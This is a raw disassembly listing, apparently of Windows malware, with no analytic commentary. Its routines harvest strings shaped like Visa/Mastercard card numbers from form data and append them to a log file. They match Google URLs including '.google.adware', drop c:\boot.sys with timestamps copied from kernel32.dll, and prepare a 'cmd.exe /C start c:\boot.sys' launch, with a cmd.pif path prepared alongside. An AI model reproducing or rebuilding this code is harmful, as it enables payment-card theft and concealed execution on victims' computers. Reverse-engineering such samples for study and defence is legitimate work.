; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_404878


loc_404868:				; CODE XREF: sub_404878+5Cj
		mov	eax, [ebp-52624h]
		cmp	byte ptr [ebp+eax-10001h], 20h
		jz	short loc_40487F
; END OF FUNCTION CHUNK	FOR sub_404878

; =============== S U B	R O U T	I N E =======================================



sub_404878	proc near		; DATA XREF: sub_41D569+55Bo

; FUNCTION CHUNK AT 00404633 SIZE 0000016B BYTES
; FUNCTION CHUNK AT 00404868 SIZE 00000010 BYTES

		and	dword ptr [ebp-6262Ch],	0


loc_40487F:				; CODE XREF: sub_404878-2j
		cmp	dword ptr [ebp-6262Ch],	0
		jnz	short loc_4048A8
		mov	eax, [ebp-62638h]
		mov	edx, [ebp-52624h]
		mov	dl, [ebp+edx-10001h]
		mov	[ebp+eax-10001h], dl
		inc	dword ptr [ebp-62638h]


loc_4048A8:				; CODE XREF: sub_404878+Ej
		mov	eax, [ebp-52624h]
		cmp	byte ptr [ebp+eax-10001h], 20h
		jnz	short loc_4048C2
		mov	dword ptr [ebp-6262Ch],	1


loc_4048C2:				; CODE XREF: sub_404878+3Ej
		inc	dword ptr [ebp-52624h]


loc_4048C8:				; CODE XREF: sub_40479E+C8j
		mov	eax, [ebp-62630h]
		cmp	[ebp-52624h], eax
		jb	short loc_404868
		mov	eax, [ebp-62638h]
		mov	byte ptr [ebp+eax-10001h], 0


loc_4048E4:				; CODE XREF: sub_404878-1C0j
					; sub_404878-1A0j
		and	dword ptr [ebp-62634h],	0
		lea	eax, [ebp-62634h]
		push	eax
		push	offset dword_4253B8
		mov	eax, [ebp-62644h]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_404AE1
		lea	eax, [ebp-62640h]
		push	eax
		mov	eax, [ebp-62634h]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+6Ch]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_404ACC
		and	dword ptr [ebp-52628h],	0
		jmp	loc_404AB8	; DATA XREF: sub_41D569+41Dr
; ---------------------------------------------------------------------------


loc_40493A:				; CODE XREF: sub_404878+24Cj
		push	0
		call	sub_407DC8
		pop	ecx
		mov	word ptr [ebp-62778h], 2
		mov	eax, [ebp-52628h]
		mov	[ebp-62770h], eax
		lea	eax, [ebp-62768h]
		push	eax
		lea	esi, [ebp-62778h]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp-62778h]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp-62634h]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+74h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_404AB2
		and	dword ptr [ebp-62764h],	0
		lea	eax, [ebp-62764h]
		push	eax
		push	offset dword_4253A8
		mov	eax, [ebp-62768h]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_404A94
		cmp	dword ptr [ebp-62764h],	0
		jz	loc_404A94
		lea	eax, [ebp-62788h]
		push	eax
		push	0
		push	dword ptr [ebp-10FA8h]
		mov	eax, [ebp-62764h]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		or	ebx, ebx	; DATA XREF: sub_41D569+2Ao
		jnz	loc_404A94
		cmp	word ptr [ebp-62788h], 8
		jnz	loc_404A94
		movzx	edi, word ptr [ebp-2]
		mov	esi, [ebp-62764h]
		mov	[ebp+edi*4-10FA4h], esi
		movzx	edi, word ptr [ebp-2]
		mov	esi, [ebp-52628h]
		mov	[ebp+edi*2-1177Ch], si
		lea	eax, [ebp-62788h]
		push	eax
		push	0
		push	dword ptr [ebp-10FACh]
		mov	eax, [ebp-62764h] ; DATA XREF: sub_41DF6A+12o
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	short loc_404A90
		lea	eax, [ebp-63787h]
		push	eax
		push	dword ptr [ebp-62780h]
		call	sub_404117
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp-6378Ch], edi
		cmp	byte ptr [ebp-63787h], 0
		jz	short loc_404A90
		cmp	edi, 64h
		jnb	short loc_404A90
		lea	eax, [ebp-63787h]
		push	eax
		movzx	eax, word ptr [ebp-2]
		imul	eax, 64h
		lea	eax, [ebp+eax-39E28h]
		push	eax
		call	sub_4078EC


loc_404A90:				; CODE XREF: sub_404878+1CFj
					; sub_404878+1F6j ...
		inc	word ptr [ebp-2]


loc_404A94:				; CODE XREF: sub_404878+147j
					; sub_404878+154j ...
		cmp	dword ptr [ebp-62764h],	0
		jz	short $+2
		cmp	dword ptr [ebp-62768h],	0
		jz	short loc_404AB2
		mov	eax, [ebp-62768h]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_404AB2:				; CODE XREF: sub_404878+11Aj
					; sub_404878+22Cj
		inc	dword ptr [ebp-52628h]


loc_404AB8:				; CODE XREF: sub_404878+BDj
		mov	eax, [ebp-62640h]
		cmp	[ebp-52628h], eax
		jb	loc_40493A
		jmp	short loc_404AF6
; ---------------------------------------------------------------------------


loc_404ACC:				; CODE XREF: sub_404878+B0j
		cmp	dword ptr [ebp-62634h],	0
		jz	short loc_404AE1
		mov	eax, [ebp-62634h]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_404AE1:				; CODE XREF: sub_404878+93j
					; sub_404878+25Bj
		cmp	dword ptr [ebp-62644h],	0
		jz	short loc_404AF6
		mov	eax, [ebp-62644h]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_404AF6:				; CODE XREF: sub_404878-1EDj
					; sub_404878+252j ...
		inc	dword ptr [ebp-21784h]


loc_404AFC:				; CODE XREF: sub_40457C+B2j
		mov	eax, [ebp-525ECh]
		cmp	[ebp-21784h], eax
		jb	loc_404633


loc_404B0E:				; CODE XREF: sub_4043B0+19Dj
					; sub_40457C+25j ...
		inc	dword ptr [ebp-524CCh]
		mov	eax, [ebp-5261Ch]
		cmp	[ebp-524CCh], eax
		jl	loc_404519


loc_404B26:				; CODE XREF: sub_404BA0+4Ej
		push	0
		call	sub_407DC8
		pop	ecx
		mov	word ptr [ebp-21786h], 0
		jmp	short loc_404BB7
sub_404878	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_404BA0


loc_404B39:				; CODE XREF: sub_404BA0+24j
		lea	eax, [ebp-524E0h]
		push	eax
		push	0
		push	dword ptr [ebp-10FA8h]
		movzx	edi, word ptr [ebp-21786h]
		mov	edi, [ebp+edi*4-10FA4h]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+20h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	short loc_404BB0
		lea	eax, [ebp-6261Fh]
		push	eax
		push	dword ptr [ebp-524D8h]
		call	sub_404117
		add	esp, 8
		mov	edi, eax
		inc	edi
		mov	[ebp-62624h], edi
		cmp	byte ptr [ebp-6261Fh], 0
		jz	short loc_404BB0
		cmp	dword ptr [ebp-62624h],	64h
		jnb	short loc_404BB0
		lea	eax, [ebp-6261Fh]
		push	eax
		movzx	eax, word ptr [ebp-21786h]
; END OF FUNCTION CHUNK	FOR sub_404BA0

; =============== S U B	R O U T	I N E =======================================



sub_404BA0	proc near		; DATA XREF: sub_41DF6A+143o

; FUNCTION CHUNK AT 00404B39 SIZE 00000067 BYTES

		imul	eax, 64h
		lea	eax, [ebp+eax-524C8h]
		push	eax
		call	sub_4078EC


loc_404BB0:				; CODE XREF: sub_404BA0-40j
					; sub_404BA0-19j ...
		inc	word ptr [ebp-21786h]


loc_404BB7:				; CODE XREF: sub_404878+2BFj
		movzx	eax, word ptr [ebp-21786h]
		movzx	edx, word ptr [ebp-2]
		cmp	eax, edx
		jl	loc_404B39
		lea	eax, [ebp-525FAh]
		push	eax
		mov	eax, dword_420010
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+7Ch]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_404E9F
		cmp	word ptr [ebp-525FAh], 0
		jz	loc_404B26
		mov	byte ptr [ebp-2177Dh], 0
		push	offset byte_409130
		lea	eax, [ebp-2177Dh]
		push	eax
		call	sub_4078EC
		mov	dword ptr [ebp-525E8h],	1
		mov	word ptr [ebp-1177Eh], 0
		jmp	loc_404CC6
; ---------------------------------------------------------------------------


loc_404C24:				; CODE XREF: sub_404BA0+133j
		movzx	eax, word ptr [ebp-1177Eh]
		imul	eax, 64h
		cmp	byte ptr [ebp+eax-524C8h], 0
		jz	loc_404CBF
		and	dword ptr [ebp-525E8h],	0
		movzx	eax, word ptr [ebp-1177Eh]
		push	eax
		push	offset asc_4247BB ; " %X:"
		lea	eax, [ebp-525DFh]
		push	eax
		call	sub_407E40
		lea	eax, [ebp-525DFh]
		push	eax
		lea	eax, [ebp-2177Dh]
		push	eax
		call	sub_407E64
		movzx	eax, word ptr [ebp-1177Eh]
		imul	eax, 64h
		lea	eax, [ebp+eax-39E28h]
		push	eax
		lea	eax, [ebp-2177Dh]
		push	eax
		call	sub_407E64
		push	offset asc_4247B9 ; ":"
		lea	eax, [ebp-2177Dh]
		push	eax
		call	sub_407E64
		movzx	eax, word ptr [ebp-1177Eh]
		imul	eax, 64h
		lea	eax, [ebp+eax-524C8h]
		push	eax
		lea	eax, [ebp-2177Dh]
		push	eax
		call	sub_407E64
		add	esp, 2Ch


loc_404CBF:				; CODE XREF: sub_404BA0+96j
		inc	word ptr [ebp-1177Eh]


loc_404CC6:				; CODE XREF: sub_404BA0+7Fj
		movzx	eax, word ptr [ebp-1177Eh]
		movzx	edx, word ptr [ebp-2]
		cmp	eax, edx
		jl	loc_404C24
		cmp	dword ptr [ebp-525E8h],	0
		jnz	loc_404E4B
		push	offset asc_424E5F ; " "
		lea	eax, [ebp-2177Dh]
		push	eax
		call	sub_407E64
		lea	eax, [ebp-10001h]
		push	eax
		lea	eax, [ebp-2177Dh]
		push	eax
		call	sub_407E64
		add	esp, 10h
		cmp	ds:byte_409130,	68h
		jnz	short loc_404D31
		cmp	ds:byte_409131,	74h
		jnz	short loc_404D31
		cmp	ds:byte_409132,	74h
		jnz	short loc_404D31
		cmp	ds:byte_409133,	70h
		jz	short loc_404D36


loc_404D31:				; CODE XREF: sub_404BA0+174j
					; sub_404BA0+17Dj ...
		jmp	loc_404E05
; ---------------------------------------------------------------------------


loc_404D36:				; CODE XREF: sub_404BA0+18Fj
		push	1
		push	offset a_google_ ; ".google."
		push	offset byte_409130
		call	sub_401429
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	short sub_404D70
		push	1
		push	offset a_google_adware ; ".google.adware"
		push	offset byte_409130
		call	sub_401429
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	loc_404E05
sub_404BA0	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404D70	proc near		; CODE XREF: sub_404BA0+1AFj
					; DATA XREF: .data:0041D305o
		mov	word ptr [ebp-525EEh], 0


loc_404D79:				; CODE XREF: sub_404DE5+Fj
		push	1
		movzx	eax, word ptr [ebp-525EEh]
		lea	eax, ds:42001Ch[eax]
		push	eax
		push	offset byte_409130
		call	sub_401429
		add	esp, 0Ch
		cmp	eax, 0FFFFh
		jz	short loc_404DAF
		push	1
		lea	eax, [ebp-2177Dh]
		push	eax
		call	ds:dword_408118
		jmp	short loc_404E05
; ---------------------------------------------------------------------------


loc_404DAF:				; CODE XREF: sub_404D70+2Cj
		movzx	eax, word ptr [ebp-525EEh]
		mov	[ebp-52624h], eax
		lea	ecx, ds:42001Ch[eax]
		or	eax, 0FFFFFFFFh


loc_404DC6:				; CODE XREF: sub_404D70+5Bj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_404DC6
		mov	esi, [ebp-52624h]
		add	esi, eax
		mov	edi, esi
		mov	[ebp-525EEh], di
		inc	word ptr [ebp-525EEh]
sub_404D70	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404DE5	proc near		; DATA XREF: sub_41D07D:loc_41D0E2o
		movzx	eax, word ptr [ebp-525EEh]
		cmp	byte_42001C[eax], 0
		jnz	short loc_404D79
		push	0
		lea	eax, [ebp-2177Dh]
		push	eax
		call	ds:dword_408118


loc_404E05:				; CODE XREF: sub_404BA0:loc_404D31j
					; sub_404BA0+1CAj ...
		mov	word ptr [ebp-21788h], 0
		jmp	short loc_404E3C
; ---------------------------------------------------------------------------


loc_404E10:				; CODE XREF: sub_404DE5+64j
		movzx	edi, word ptr [ebp-21788h]
		cmp	dword ptr [ebp+edi*4-10FA4h], 0
		jz	short loc_404E35
		movzx	edi, word ptr [ebp-21788h]
		mov	edi, [ebp+edi*4-10FA4h]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+8]


loc_404E35:				; CODE XREF: sub_404DE5+3Aj
		inc	word ptr [ebp-21788h]


loc_404E3C:				; CODE XREF: sub_404DE5+29j
		movzx	eax, word ptr [ebp-21788h]
		movzx	edx, word ptr [ebp-2]
		cmp	eax, edx
		jl	short loc_404E10


loc_404E4B:				; CODE XREF: sub_40457C+A5j
					; sub_404BA0+140j
		cmp	dword ptr [ebp-525E4h],	0
		jz	short loc_404E60
		mov	eax, [ebp-525E4h]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_404E60:				; CODE XREF: sub_404DE5+6Dj
		cmp	dword ptr [ebp-52608h],	0
		jz	short loc_404E75
		mov	eax, [ebp-52608h]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_404E75:				; CODE XREF: sub_404DE5+82j
		cmp	dword ptr [ebp-52604h],	0
		jz	short loc_404E8A
		mov	eax, [ebp-52604h]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_404E8A:				; CODE XREF: sub_4043B0+15Cj
					; sub_404DE5+97j
		cmp	dword ptr [ebp-52600h],	0
		jz	short loc_404E9F
		mov	eax, [ebp-52600h]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_404E9F:				; CODE XREF: sub_4043B0+C4j
					; sub_4043B0+107j ...
		cmp	dword ptr [ebp-525F8h],	0
		jz	short loc_404EB4
		mov	eax, [ebp-525F8h]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_404EB4:				; CODE XREF: sub_4043B0+A8j
					; sub_404DE5+C1j
		cmp	dword ptr [ebp-525F4h],	0
		jz	loc_4043F5
		mov	eax, [ebp-525F4h]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		jmp	loc_4043F5
sub_404DE5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4043B0


loc_404ED2:				; CODE XREF: sub_4043B0+3Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; END OF FUNCTION CHUNK	FOR sub_4043B0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404ED7	proc near		; DATA XREF: sub_404F53+15o

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset word_42001E
		push	offset sub_40109A
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	[ebp+var_4], 0


loc_404F04:				; CODE XREF: sub_404ED7+46j
					; sub_404ED7+61j
		push	1F4h
		call	sub_407DC8
		add	esp, 4
		call	sub_4043B0
		cmp	dword_420018, 0
		jnz	short loc_404F04
		jmp	short loc_404F41
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_404F41
; ---------------------------------------------------------------------------
		mov	[ebp+var_1C], 1
		mov	eax, [ebp+var_1C]
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		jmp	short loc_404F04
; ---------------------------------------------------------------------------
		mov	[ebp+var_4], 0FFFFFFFFh


loc_404F41:				; CODE XREF: sub_404ED7+48j
					; sub_404ED7+51j
		pop	edi
		pop	esi
		pop	ebx
		xchg	eax, ecx
		mov	eax, [ebp+var_10]
		mov	large fs:0, eax
		xchg	eax, ecx
		leave
		retn	4
sub_404ED7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F53	proc near		; CODE XREF: sub_406344+441p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		mov	eax, [ebp+arg_0]
		mov	ds:dword_408118, eax
		push	offset dword_420018
		push	0
		push	0
		push	offset sub_404ED7
		push	0
		push	0
		call	sub_407B64	; CreateThread
		mov	edi, eax
		push	edi
		call	sub_407984	; CloseHandle
		pop	edi
		pop	ebp
		retn
sub_404F53	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		cmp	dword_420010, 0
		jnz	short loc_404F92
		xor	eax, eax
		jmp	short loc_404FCB
; ---------------------------------------------------------------------------


loc_404F92:				; CODE XREF: .text:00404F8Cj
		mov	eax, ds:dword_419134
		cmp	[ebp+8], eax
		jz	short loc_404FA0
		xor	eax, eax
		jmp	short loc_404FCB
; ---------------------------------------------------------------------------


loc_404FA0:				; CODE XREF: .text:00404F9Aj
		lea	ecx, byte_409130
		or	eax, 0FFFFFFFFh


loc_404FA9:				; CODE XREF: .text:00404FAEj
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_404FA9
		mov	edi, eax
		add	edi, 1
		push	edi
		push	offset byte_409130
		push	dword ptr [ebp+0Ch]
		call	sub_407E04
		add	esp, 0Ch
		mov	eax, 1


loc_404FCB:				; CODE XREF: .text:00404F90j
					; .text:00404F9Ej
		pop	edi
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FCE	proc near		; DATA XREF: sub_406344+43Co

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_C], ebx


loc_404FDF:				; CODE XREF: sub_404FCE+10Cj
					; sub_404FCE+117j ...
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 3Ah
		jnz	loc_4050C9
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [ebx+eax+11h],	20h
		jz	short loc_405001
		cmp	byte ptr [ebx+eax+14h],	20h
		jnz	loc_4050C9


loc_405001:				; CODE XREF: sub_404FCE+26j
		mov	eax, [ebp+arg_0]
		mov	al, [ebx+eax+1]
		cmp	al, 34h
		jz	short loc_405014
		cmp	al, 35h
		jnz	loc_4050C9


loc_405014:				; CODE XREF: sub_404FCE+3Cj
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [ebx+eax+11h],	20h
		jnz	short loc_405027
		mov	[ebp+var_4], 10h
		jmp	short loc_40502E
; ---------------------------------------------------------------------------


loc_405027:				; CODE XREF: sub_404FCE+4Ej
		mov	[ebp+var_4], 13h


loc_40502E:				; CODE XREF: sub_404FCE+57j
		mov	[ebp+var_5], 0
		xor	esi, esi
		jmp	short loc_4050A7
; ---------------------------------------------------------------------------


loc_405036:				; CODE XREF: sub_404FCE+DCj
		cmp	[ebp+var_4], 13h
		jnz	short loc_405079
		lea	eax, [ebx+esi+1]
		mov	edx, [ebp+arg_0]
		cmp	byte ptr [edx+eax], 2Dh
		jnz	short loc_405079
		mov	edi, 5
		mov	edx, esi
		inc	edx
		mov	[ebp+var_18], edx
		mov	[ebp+var_10], edi
		mov	eax, edx
		mov	[ebp+var_14], eax
		mov	ecx, edi
		xor	edx, edx
		div	ecx
		mov	[ebp+var_1C], eax
		mov	eax, edi
		mov	edi, [ebp+var_1C]
		mul	[ebp+var_1C]
		mov	[ebp+var_20], eax
		mov	edi, [ebp+var_18]
		mov	edx, eax
		cmp	edx, edi
		jz	short loc_4050A6


loc_405079:				; CODE XREF: sub_404FCE+6Cj
					; sub_404FCE+79j
		lea	eax, [ebx+esi+1]
		mov	edx, [ebp+arg_0]
		mov	al, [edx+eax]
		cmp	al, 30h
		jl	short loc_40508B
		cmp	al, 39h
		jle	short loc_40508D


loc_40508B:				; CODE XREF: sub_404FCE+B7j
		jmp	short loc_4050C9
; ---------------------------------------------------------------------------


loc_40508D:				; CODE XREF: sub_404FCE+BBj
		movzx	eax, [ebp+var_5]
		lea	edx, [ebx+esi+1]
		mov	ecx, [ebp+arg_0]
		mov	dl, [ecx+edx]
		mov	ds:byte_419260[eax], dl
		add	[ebp+var_5], 1


loc_4050A6:				; CODE XREF: sub_404FCE+A9j
		inc	esi


loc_4050A7:				; CODE XREF: sub_404FCE+66j
		cmp	esi, [ebp+var_4]
		jb	short loc_405036
		mov	eax, [ebp+var_4]
		mov	ds:byte_419260[eax], 0
		call	sub_40129C
		or	eax, eax
		jnz	short loc_4050C9
		mov	[ebp+var_C], 1
		jmp	short loc_40511B
; ---------------------------------------------------------------------------


loc_4050C9:				; CODE XREF: sub_404FCE+18j
					; sub_404FCE+2Dj ...
		inc	ebx
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 0
		jz	short loc_405117
		mov	eax, [ebp+arg_0]
		cmp	byte ptr [eax+ebx], 3Ch
		jnz	loc_404FDF
		cmp	byte ptr [ebx+eax+1], 46h
		jnz	loc_404FDF
		cmp	byte ptr [ebx+eax+2], 4Fh
		jnz	loc_404FDF
		cmp	byte ptr [ebx+eax+3], 52h
		jnz	loc_404FDF
		cmp	byte ptr [ebx+eax+4], 4Dh
		jnz	loc_404FDF
		cmp	byte ptr [ebx+eax+5], 5Fh
		jnz	loc_404FDF


loc_405117:				; CODE XREF: sub_404FCE+103j
		and	[ebp+var_C], 0


loc_40511B:				; CODE XREF: sub_404FCE+F9j
		cmp	[ebp+var_C], 0
		jz	short loc_40512D
		mov	eax, ds:dword_419134
		mov	dword_41A1F4, eax
		jmp	short loc_405195
; ---------------------------------------------------------------------------


loc_40512D:				; CODE XREF: sub_404FCE+151j
		push	0
		push	0
		push	4
		push	0
		push	0
		push	40000000h
		push	offset dword_408010
		call	sub_407A8C	; CreateFileA
		mov	[ebp+var_10], eax
		push	2
		push	0
		push	0
		push	eax
		call	sub_407ABC	; SetFilePointer
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		or	eax, 0FFFFFFFFh


loc_40515D:				; CODE XREF: sub_404FCE+194j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_40515D
		mov	edi, eax
		push	0
		lea	edx, [ebp+var_14]
		push	edx
		push	edi
		push	[ebp+arg_0]
		push	[ebp+var_10]
		call	sub_407B40	; WriteFile
		push	0
		lea	eax, [ebp+var_14]
		push	eax
		push	2
		push	offset asc_424CEC ; "\r\n"
		push	[ebp+var_10]
		call	sub_407B40	; WriteFile
		push	[ebp+var_10]
		call	sub_407984	; CloseHandle


loc_405195:				; CODE XREF: sub_404FCE+15Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404FCE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40519A	proc near		; CODE XREF: sub_40523F+66p

var_222		= byte ptr -222h
var_21A		= byte ptr -21Ah
var_212		= byte ptr -212h
var_20A		= byte ptr -20Ah
var_105		= byte ptr -105h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 224h
		push	edi
		push	104h
		lea	eax, [ebp+var_20A]
		push	eax
		call	sub_40799C	; GetSystemDirectoryA
		lea	eax, [ebp+var_20A]
		push	eax
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_4078EC
		push	offset aKernel32_dll_0 ; "\\kernel32.dll"
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_407E64
		add	esp, 8
		push	0
		push	0
		push	3
		push	0
		push	0
		push	80000001h
		lea	eax, [ebp+var_105]
		push	eax
		call	sub_407A8C	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40523C
		lea	eax, [ebp+var_222]
		push	eax
		lea	eax, [ebp+var_21A]
		push	eax
		lea	eax, [ebp+var_212]
		push	eax
		push	edi
		call	sub_407960	; GetFileTime
		lea	eax, [ebp+var_222]
		push	eax
		lea	eax, [ebp+var_21A]
		push	eax
		lea	eax, [ebp+var_212]
		push	eax
		push	[ebp+arg_0]
		call	sub_407AC8	; SetFileTime
		push	edi
		call	sub_407984	; CloseHandle


loc_40523C:				; CODE XREF: sub_40519A+62j
		pop	edi
		leave
		retn
sub_40519A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40523F	proc near		; CODE XREF: sub_406344+58p

var_218		= byte ptr -218h
var_214		= byte ptr -214h
var_110		= byte ptr -110h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 218h
		push	ebx
		push	esi
		push	edi
		call	sub_4079C0	; DATA XREF: sub_41E375r


loc_405250:				; DATA XREF: sub_41E381r sub_41E38Dr
		cmp	eax, 80000000h
		jnb	loc_405307	; DATA XREF: sub_41E399r
		lea	edi, [ebp+var_110] ; DATA XREF:	sub_41E3A5r
					; sub_41E3B1r
		lea	esi, aCBoot_sys	; DATA XREF: sub_41E3BDr
					; "c:\\boot.sys"
		mov	ecx, 3		; DATA XREF: sub_41E3C9r


loc_40526C:				; DATA XREF: sub_41E3D5r
		rep movsd
		push	0


loc_405270:				; DATA XREF: sub_41E3E1r
		push	0
		push	2


loc_405274:				; DATA XREF: sub_41E3EDr
		push	0
		push	0


loc_405278:				; DATA XREF: sub_41E3F9r sub_41E405r
		push	40000000h
		lea	eax, [ebp+var_110] ; DATA XREF:	sub_41E411r
		push	eax


loc_405284:				; DATA XREF: sub_41E41Dr
		call	sub_407A8C	; CreateFileA
		mov	ebx, eax
		push	0
		lea	eax, [ebp+var_218] ; DATA XREF:	sub_41E429r
		push	eax
		push	4001h
		push	offset word_42002A ; DATA XREF:	sub_41E435r
		push	ebx
		call	sub_407B40	; WriteFile
		push	ebx
		call	sub_40519A	; DATA XREF: sub_41E4F1r
		push	ebx
		call	sub_407984	; DATA XREF: sub_41E4FDr


loc_4052B0:				; DATA XREF: sub_41E509r sub_41E515r
		push	104h
		lea	eax, [ebp+var_104] ; DATA XREF:	sub_41E521r
		push	eax


loc_4052BC:				; DATA XREF: sub_41E52Dr sub_41E539r
		call	sub_40799C	; GetSystemDirectoryA
		lea	eax, [ebp+var_104] ; DATA XREF:	sub_41E545r
		push	eax


loc_4052C8:				; DATA XREF: sub_41E551r sub_41E55Dr
		push	offset aSCmd_pif ; "%s\\cmd.pif"
		lea	eax, [ebp+var_214] ; DATA XREF:	sub_41E569r
		push	eax


loc_4052D4:				; DATA XREF: sub_41E575r sub_41E581r
		call	sub_407E40
		push	offset aCmd_exeCStartC ; DATA XREF: sub_41E58Dr
					; "\\cmd.exe /C	start c:\\boot.sys"
		lea	eax, [ebp+var_104] ; DATA XREF:	sub_41E599r


loc_4052E4:				; DATA XREF: sub_41E5A5r
		push	eax
		call	sub_407E64	; DATA XREF: sub_41E5B1r
		add	esp, 18h	; DATA XREF: sub_41E5BDr
		lea	eax, [ebp+var_214] ; DATA XREF:	sub_41E5C9r
		push	eax


loc_4052F4:				; DATA XREF: sub_41E5D5r sub_41E5E1r
		call	sub_407B70	; DeleteFileA
		push	0
		lea	eax, [ebp+var_104]
		push	eax
		call	sub_407B34	; DATA XREF: sub_41E5EDr


loc_405307:				; CODE XREF: sub_40523F+16j
		pop	edi


loc_405308:				; DATA XREF: sub_41E5F9r
		pop	esi
		pop	ebx
		leave
		retn
sub_40523F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40530C	proc near		; CODE XREF: sub_405350:loc_405370p
					; DATA XREF: sub_41E605r

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	4		; DATA XREF: sub_41E611r
		push	1000h		; DATA XREF: sub_41E61Dr
		push	[ebp+arg_0]	; DATA XREF: sub_41E629r
		push	0
		call	sub_407AF8	; DATA XREF: sub_41E635r


loc_405320:				; DATA XREF: sub_41E641r
		pop	ebp
		retn
sub_40530C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405322	proc near		; CODE XREF: sub_405350+87p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp	; DATA XREF: sub_41E64Dr
		push	8000h
		push	0
		push	[ebp+arg_0]
		call	sub_407B04	; DATA XREF: sub_41E659r


loc_405334:				; DATA XREF: sub_41E665r
		pop	ebp
		retn
sub_405322	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405336	proc near		; CODE XREF: sub_405350+93p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp	; DATA XREF: sub_41E671r
		push	offset dword_424078 ; DATA XREF: sub_41E67Dr
		push	offset dword_424038 ; DATA XREF: sub_41E689r
		push	[ebp+arg_4]	; DATA XREF: sub_41E695r
		push	[ebp+arg_0]	; DATA XREF: sub_41E6A1r
		call	sub_406E94	; DATA XREF: sub_41E6ADr
		pop	ebp
		retn
sub_405336	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405350	proc near		; CODE XREF: sub_405AAC+27Ep
					; DATA XREF: sub_41E6B9r

